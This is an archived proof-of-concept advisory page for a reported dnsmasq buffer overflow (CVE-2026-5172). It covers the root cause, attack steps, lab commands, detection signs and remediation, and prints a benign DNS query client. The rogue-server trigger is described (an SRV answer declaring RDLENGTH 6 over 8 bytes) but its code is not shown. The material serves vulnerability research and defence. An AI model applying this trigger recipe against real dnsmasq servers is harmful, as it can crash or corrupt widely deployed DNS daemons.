PoC Archive PoC Archive
Not disclosed CVE-2026-5172 unpatched

dnsmasq extract_addresses() RDLEN/RDATA Buffer Overflow — CVE-2026-5172

by lottiedeyan (GitHub); reproduction based on a public writeup by yanyuyingshu (Medium) · 2026-07-05

Severity
Not disclosed
CVE
CVE-2026-5172
Category
network
Affected product
dnsmasq (DNS forwarder/resolver)
Affected versions
Not disclosed in repo (see upstream dnsmasq advisories for exact affected range)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcherlottiedeyan (GitHub); reproduction based on a public writeup by yanyuyingshu (Medium)
CVE / AdvisoryCVE-2026-5172
Categorynetwork
SeverityNot disclosed
CVSS ScoreNot disclosed
StatusPoC
Tagsdnsmasq, dns, buffer-overflow, srv-record, rdlen, upstream-resolver, memory-corruption
RelatedN/A

Affected Target

FieldValue
Software / Systemdnsmasq (DNS forwarder/resolver)
Versions AffectedNot disclosed in repo (see upstream dnsmasq advisories for exact affected range)
Language / PlatformPython 3 (PoC harness); target is the C dnsmasq daemon
Authentication RequiredNo
Network Access RequiredYes — attacker must be reachable as an upstream/authoritative DNS server that dnsmasq queries

Summary

The PoC targets extract_addresses() in dnsmasq, which parses resource records (RRs) returned by an upstream DNS server. The function is reported to trust the RR’s declared RDLENGTH field without properly validating it against the actual RDATA bytes present in the reply, leading to a buffer overflow/mismatch condition when a malicious or compromised upstream server returns a crafted answer. This repository provides a minimal, self-contained reproduction harness: a rogue authoritative nameserver (server.py) that replies to any query with a hand-crafted SRV record whose declared RDLENGTH (6) is smaller than its actual RDATA length (8), plus a client (query_client.py) that sends a query to a locally configured dnsmasq instance to trigger the parsing path. A dnsmasq.conf is included to point dnsmasq at the rogue server as its upstream resolver.


Vulnerability Details

Root Cause

extract_addresses() in dnsmasq’s RR-parsing code appears to use the RR’s advertised RDLENGTH field to determine how many bytes of RDATA to consume/copy, without cross-checking that value against the RDATA actually available/consistent with the record type being parsed (e.g., an SRV record’s real content is priority(2)+weight(2)+port(2)+target — at least 8 bytes — while the attacker declares only 6). This rdlen/actual-length mismatch can cause dnsmasq to read or copy the wrong number of bytes when processing the answer, corrupting adjacent memory.

Attack Vector

  1. Attacker controls or spoofs a DNS server that the victim’s dnsmasq instance queries as an upstream resolver (configured via server= directive, or via cache-poisoning/MITM if reachable on the query path).
  2. Victim’s dnsmasq (configured per dnsmasq.conf, forwarding to 127.0.0.1#5354 in the PoC) sends a query, forwarded to the attacker-controlled nameserver.
  3. The rogue nameserver (server.py) responds with a crafted SRV answer: owner name compressed pointer, type SRV (33), a declared RDLENGTH of 6, but actual RDATA of 8 bytes (prio/weight/port + a name-compression pointer to the target).
  4. dnsmasq’s extract_addresses() parses this RR using the mismatched length field, corrupting internal buffers/heap state.
  5. query_client.py is used to send the original triggering query to dnsmasq and observe the resulting behavior/crash.

Impact

Memory corruption in a privileged, widely-deployed DNS forwarding daemon (dnsmasq runs as root or with elevated privileges on many routers, embedded devices, and Linux distributions), potentially leading to denial of service (crash) or further exploitation depending on heap layout, triggered simply by dnsmasq querying an attacker-influenced or spoofable upstream resolver.


Environment / Lab Setup

Target:   dnsmasq daemon configured via the included dnsmasq.conf
          (port=5353, forwards queries to 127.0.0.1#5354)
Attacker: Python 3 (no external dependencies — uses only socket/struct/argparse)

Proof of Concept

PoC Script

See server.py, query_client.py, and dnsmasq.conf in this folder.

1
2
3
4
5
6
sudo cp dnsmasq.conf /etc/dnsmasq.conf
sudo systemctl restart dnsmasq

python3 server.py --host 127.0.0.1 --port 5354 --rdlen 6 --debug &

python3 query_client.py --dnsmasq-host 127.0.0.1 --dnsmasq-port 5353 --timeout 5.0 --count 3

server.py listens as a standalone UDP “evil” authoritative nameserver and answers any incoming query with a crafted SRV record whose RDLENGTH (6) is smaller than the actual RDATA it embeds (8 bytes). query_client.py builds and sends a minimal raw DNS query directly to the dnsmasq instance, which forwards it upstream to the rogue server per dnsmasq.conf, and prints the header/flags of whatever reply comes back.


Detection & IOCs

Signs of compromise:

  • dnsmasq process crashing or restarting shortly after resolving a domain via a specific upstream server
  • SRV (or similarly-parsed) DNS responses where the RDLENGTH field does not match the expected minimum size for the record type
  • Unexpected server= upstream entries or DNS forwarding to attacker-controlled resolvers

Remediation

ActionDetail
Primary fixUpgrade dnsmasq to the version containing the upstream fix for CVE-2026-5172 (validate RDLENGTH against the minimum/expected RDATA size per record type in extract_addresses())
Interim mitigationRestrict dnsmasq’s upstream server= directives to trusted resolvers only, and avoid exposing dnsmasq’s forwarding path to attacker-influenceable DNS servers

References


Notes

Mirrored from https://github.com/lottiedeyan/CVE20265172poc on 2026-07-05. Category was reclassified from the suggested “binary” to “network” since the PoC is a client/server DNS-protocol harness targeting dnsmasq’s upstream-response parsing, consistent with how similar network-daemon parsing bugs are catalogued elsewhere in this archive.

query_client.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
#!/usr/bin/env python3
"""Standalone DNS query client that sends a UDP DNS query to dnsmasq.

Usage:
  python3 query_client.py --dnsmasq-host 127.0.0.1 --dnsmasq-port 5352 --qname _sip._tcp.example.com --qtype SRV

This client constructs a minimal DNS query packet and sends it to the
configured dnsmasq instance. It prints basic info about the reply.
"""

import argparse
import random
import socket
import struct
import sys
import time


QTYPE_MAP = {
    'A': 1,
    'NS': 2,
    'CNAME': 5,
    'SOA': 6,
    'PTR': 12,
    'MX': 15,
    'TXT': 16,
    'AAAA': 28,
    'SRV': 33,
    'ANY': 255,
}


def encode_qname(name: str) -> bytes:
    if name == '.' or name == '':
        return b'\x00'
    parts = name.rstrip('.').split('.')
    out = bytearray()
    for p in parts:
        out.append(len(p))
        out.extend(p.encode('utf-8'))
    out.append(0)
    return bytes(out)


def build_query(qname: str, qtype_name: str) -> bytes:
    qtype = QTYPE_MAP.get(qtype_name.upper(), 1)
    qid = random.getrandbits(16)
    flags = 0x0100  # standard recursive query
    qdcount = 1
    header = struct.pack('>HHHHHH', qid, flags, qdcount, 0, 0, 0)

    qname_raw = encode_qname(qname)
    question = qname_raw + struct.pack('>HH', qtype, 1)
    return header + question


def hexdump(b: bytes) -> str:
    return ' '.join(f'{x:02x}' for x in b)


def main() -> int:
    ap = argparse.ArgumentParser(description='Send raw DNS query to dnsmasq')
    ap.add_argument('--dnsmasq-host', default='127.0.0.1')
    ap.add_argument('--dnsmasq-port', type=int, default=5352)
    ap.add_argument('--qname', default='_sip._tcp.example.com')
    ap.add_argument('--qtype', default='SRV')
    ap.add_argument('--count', type=int, default=1)
    ap.add_argument('--delay', type=float, default=0.2)
    ap.add_argument('--timeout', type=float, default=2.0)
    args = ap.parse_args()

    server = (args.dnsmasq_host, args.dnsmasq_port)

    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.settimeout(args.timeout)

    for i in range(args.count):
        pkt = build_query(args.qname, args.qtype)
        try:
            s.sendto(pkt, server)
            print(f"[>] Sent {len(pkt)} bytes to {server}")
        except OSError as e:
            print(f"[!] send failed: {e}")
            return 2

        try:
            data, addr = s.recvfrom(8192)
        except socket.timeout:
            print('[!] no reply (timeout)')
            time.sleep(args.delay)
            continue

        print(f"[<] Received {len(data)} bytes from {addr}")
        # Basic parse: show header and rcode
        if len(data) >= 12:
            id, flags, qd, an, ns, ar = struct.unpack('>HHHHHH', data[:12])
            rcode = flags & 0x000F
            print(f"    id=0x{id:04x} flags=0x{flags:04x} qd={qd} an={an} ns={ns} ar={ar} rcode={rcode}")
        print('    hexdump:', hexdump(data[:200]))
        time.sleep(args.delay)

    s.close()
    return 0


if __name__ == '__main__':
    sys.exit(main())